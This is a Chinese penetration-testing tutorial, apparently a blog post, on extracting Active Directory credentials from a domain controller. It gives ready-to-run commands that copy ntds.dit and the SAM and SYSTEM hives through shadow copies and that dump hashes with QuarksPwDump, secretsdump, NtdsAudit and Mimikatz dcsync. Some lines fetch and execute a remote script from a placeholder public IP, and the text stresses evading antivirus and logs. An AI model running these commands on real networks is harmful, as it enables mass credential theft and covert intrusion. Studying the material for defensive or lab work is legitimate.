Windows域内密码凭证获取 (゚益゚メ) 渗透测试

域凭证介绍

和我们常规Windows电脑不同的是,域中的账户密码采用的是集中管理而非本地模式,所以一旦我们拿到了域控(DC),就可以拿到域中所有用户的口令。注:下方所有演示的目标机是在一台域控中进行的,我们常规电脑和域中非域控电脑都无法进行下列操作!

获取域内专属凭证(ntds.dit)

C:\Windows\NTDS\ntds.dit%SystemRoot%\NTDS是域控中一个专属的活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。但由于系统高级用户的占用,这种重要文件用户正常情况下是无法对其进行任何操作的。想要获得域内凭证首先就是需要通过各种手段来获取此文件

卷影复制服务(Volume Shadow Copy Service (VSS))

卷影复制服务是Windows2003(Windows XP时代)之后系统自带的功能,官方解释:提供的用于创建一致性的时间点副本(也就是快照)的服务框架。我们简单理解一下就是一个可以在系统运行时还能进行备份(快照)操作的应用。优点: 系统自带服务,不会被杀毒软件拦截,大多数情况下都是开启的,关闭会影响部分系统正常功能。缺点: 使用时候会留下日志信息,目标管理员可以借此来收集攻击证据。

使用ntdsutil

ntdsutil是系统自动的一个域管理工具,我们可以利用其携带的几种方法来获取我们需要的文件!

1.交互快照模式# 这是一个域管理工具ntdsutil# 启动快照模块snapshot# 设置活动实例,可以理解为设置需要快照的目标,默认有个ntds,可以备份全部C盘activate instance ntds# 启动快照,成功后会返回一串数值,这串数值是GUID,下方会用到create# 装载快照(可以使用`list all`查看当前所有的快照)mount 上述返回的GUID# 这一步执行完成后,我们的快照会被装载到c盘,可以使用copy方法将其复制出来,如我下方copy '挂载文件夹\Windows\NTDS\ntds.dit' C:\备份ntds.dit# 如copy 'C:\$SNAP_202103102049_VOLUMEC$\Windows\NTDS\ntds.dit' C:\备份ntds.dit# 卸载快照unmount 快照ID(GUID)# 删除快照delete 快照ID(GUID)# 退出快照quit#退出卷影控制器quit

# 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
# 挂载快照
ntdsutil snapshot “mount 快照ID(GUID)”quit quit
# 复制挂载的文件 &SNAP_202103102049_VOLUMEC& 是你挂载的文件夹
copy 'C:\$SNAP_202103102333_VOLUMEC$\Windows\NTDS\ntds.dit' c:\备份ntds2.dit
# 卸载删除快照
ntdsutil snapshot "unmount 快照ID(GUID)" "delete 快照ID(GUID)" quit quit 
ntdsutil "activate instance ntds" ifm “create full C:\凭证信息” quit quit 

使用vssadmin

vssadmin是一个专门用来管理卷影服务的工具,同样也是系统默认会携带的工具。

# 查看当前系统中有哪些快照(可以不执行此步骤)
vssadmin list shadows
# 创建整个C盘的快照,创建好后我们会获得一个快照地址,
# 比如: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
# 一般只有最后的数字会变,这个地址在cmd中我们可以直接当做C:\来使用!必须是cmd中!不能是powershell
vssadmin create shadow /for=c:
# 复制文件
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\备份ntds3.dit
# 删除快照
vssadmin delete shadows /for=c: /quiet 

使用vshadow

vshadow下载地址: download.csdn.net/download/qq…上述两个工具虽然微软会默认开启,但有经验的老师傅们肯定一般都会对上述两个工具做出一定限制甚至直接关闭,这时候我们就可以用vshadow这个工具了,这是微软开发工具包中的一个工具,有着微软官方的签名,所以也是不会被杀软给干掉的,不过这个工具系统默认不会携带,需要我们手动上传到电脑中!

# 查看当前已有的镜像
.\vshadow.exe -q
# 对C盘(`C:`)创建一个持久(`-p`重启系统之类的操作不会被删除)不用写入(`-nw`no writers,用来提高创建速度)的镜像
.\vshadow.exe -p -nw C:
# 执行上述命令后,会返回很多字符,其中我们主要用到的是`SnapshotSetID`和`Shadow copy device name`
# 其中`SnapshotSetID`主要是用来删除镜像时候使用的
# 而`Shadow copy device name`则和上述vssadmin中生成的快照地址一样可以直接使用来获取我们需要的文件。如下:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\备份ntds4.dit
# 删除时输入SnapshotSetID即可(记得SnapshotSetID加引号)
.\vshadow.exe -dx='SnapshotSetID' 

快照挂载

上述,我们碰到了类似\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1的地址,都是使用copy方法直接调用,除此之外我们还能使用创建快捷方式的方法mklink来将其链接到一个文件夹上!

# mklink只能在cmd中使用,无法在powershell使用! 
# /d表示为目录链接,因为是目录,所以一定要用\结尾!
mklink /d c:\镜像\ \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
# 删除镜像
rd c:\镜像 

NinjaCopy脚本

卷影复制服务因为是一项系统级服务,所以我们在调用时会留下系统日志,如果我们使用NinjaCopy脚本,即可避免一些系统日志的产生,来减少被系统管理员发现的可能性!

1.本地加载脚本: 使用方便,但容易被杀软干掉!

# 在powershell中加载脚本(只能在powershell中运行)
Import-Module .\invoke-NinjaCopy.ps1
# 使用复制模块,目标路径(-Path)下的SAM,复制到指定路径(-LocalDestination )下,这里都推荐使用绝对路径!
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination C:\ntds.dit 
IEX (New-Object Net.WebClient).DownloadString('http://公网IP//Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam1.hive
IEX (New-Object Net.WebClient).DownloadString('http://公网IP//Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system1.hive
IEX (New-Object Net.WebClient).DownloadString('http://公网IP//Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\ntds\ntds.dit -LocalDestination c:\ntds1.dit 

凭证解密

这里解密大多数获取的都是哈希值,很少能直接获取到明文密码,如果想要获取到明文密码大部分情况还是需要我们使用彩虹表这类的手段。

数据库文件修复

因为我们拿到的用户凭证文件ntds.dit在获取的时候文件是被占用状态,所以获取的文件可能会有一些问题,这时候我们就需要先进行一步修复操作。

# esentutl 是一个微软自带的工具,是专门用来对微软系统数据库进行一些常用操作的工具包,其中/p就代表使用修复功能
esentutl /p /o ntds.dit 

QuarkPwDump脚本

quarkspwdump下载地址: github.com/redcanari/q…这是一个用c写的脚本,获取凭证速度非常快!

.\QuarksPwDump.exe --dump-hash-domain --output 凭证存储文件名.txt --ntds-file 目标的ntds数据库
# 如:
.\QuarksPwDump.exe -dhd -o .\QPD凭证信息.txt -nt .\ntds.dit 

secretsdump脚本

这是一个Python写的脚本,相较于上述c脚本,在速度方面的确有些缓慢,不过功能还是十分丰富的,甚至能获取部分明文密码<img src=“https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Fropnop%2Fimpacket_static_binaries%2Freleases “https://github.com/ropnop/impacket_static_binaries/releases”): [github.com/ropnop/impa…](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Fropnop%2Fimpacket_static_binaries%2Freleases “https://github.com/ropnop/impacket_static_binaries/releases”” style=“margin: auto” />

# 使用sam文件获取本地凭证信息
.\secretsdump.exe -sam 测试凭证\SAM -security 测试凭证\SECURITY -system 测试凭证\SYSTEM LOCAL
# 使用ntds文件获取域凭证信息
.\secretsdump.exe -system 测试凭证\SYSTEM -ntds 测试凭证\ntds.dit LOCAL 

NtdsAudit脚本

NtdsAudit同样也是一个高效的凭证信息读取工具,不过NtdsAudit不仅仅可以获取用户凭证,还会收集一些十分有用的用户信息!

.\NtdsAudit.exe "测试凭证\ntds.dit" -s "测试凭证\SYSTEM" -p NA密码凭证信息.txt --users-csv 用户信息.csv 

其他

如果在目标域控中我们成功上线了猕猴桃,可以使用如下几个命令

# 此命令可以看到当前客户端所有用户以及域名
sekurlsa::logonpasswords
# 以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。
lsadump::dcsync /domain:域名 /all /csv
# 通过dcsync直接获取de1ay域内所有用户哈希
lsadump::dcsync /domain:de1ay.com /all /csv
# 通过dcsync获取de1ay域内某个用户的详细信息
lsadump::dcsync /domain:de1ay.com /user:用户名
# 查看所有用户凭证信息
lsadump::lsa /inject 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
先看简介 Quarks PwDump是一个Win32环境下系统授权信息导出工具,目前除此之外还木有没有任何一款工具可以导出如此全面的信息,支持这么多的OS版本,(包括xP/2003/Vista/7/2008/8),经测试相当稳定。作者开发这个工具的原因是现在没有一款工具能同时抓取所有类型的hash和Bitlocker信息。这个工具没有注入任何进程,工作原理是神马呢,源代码值得读一下。 源地址在这:http://code.google.com/p/quarkspwdump/ 可以导出 : - Local accounts NT/LM hashes + history 本地NT/LM哈希+历史登录记录 - Domain accounts NT/LM hashes + history 中NT/LM哈希+历史登录记录 - Cached domain password 缓存里的密码 - Bitlocker recovery information (recovery passwords & key packages) 使用了Bitlocker的恢复信息(恢复密码&关键包) 用法参考说明如下: quarks-pwdump.exe Options :参数 –dump-hash-local /*Dump出本机HASH*/ -dump-hash-domain-cached /*Dump内缓存的Hash*/ -dump-hash-domain (NTDS_FILE must be specified) /*Dump内的Hash,NTDS_FILE必须被指定*/ –dump-bitlocker (NTDS_FILE must be specified) /*Dump出BitLocker遗留信息*/ –with-history (optional) -output-type JOHN/LC (optional, if no=>JOHN) /*导出为Lc4或John The Ripper支持的格式*/ –output FILE (optional, if no=>stdout) /*导出结果到文件*/ 木有其他系统 请大家另行测试。 如需导出可以 C:\>quarkspwdump --dump-hash-local --output c:\xxxxx C:\>quarkspwdump --dump-hash-local --output-type LC --output c:\xxxxx

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值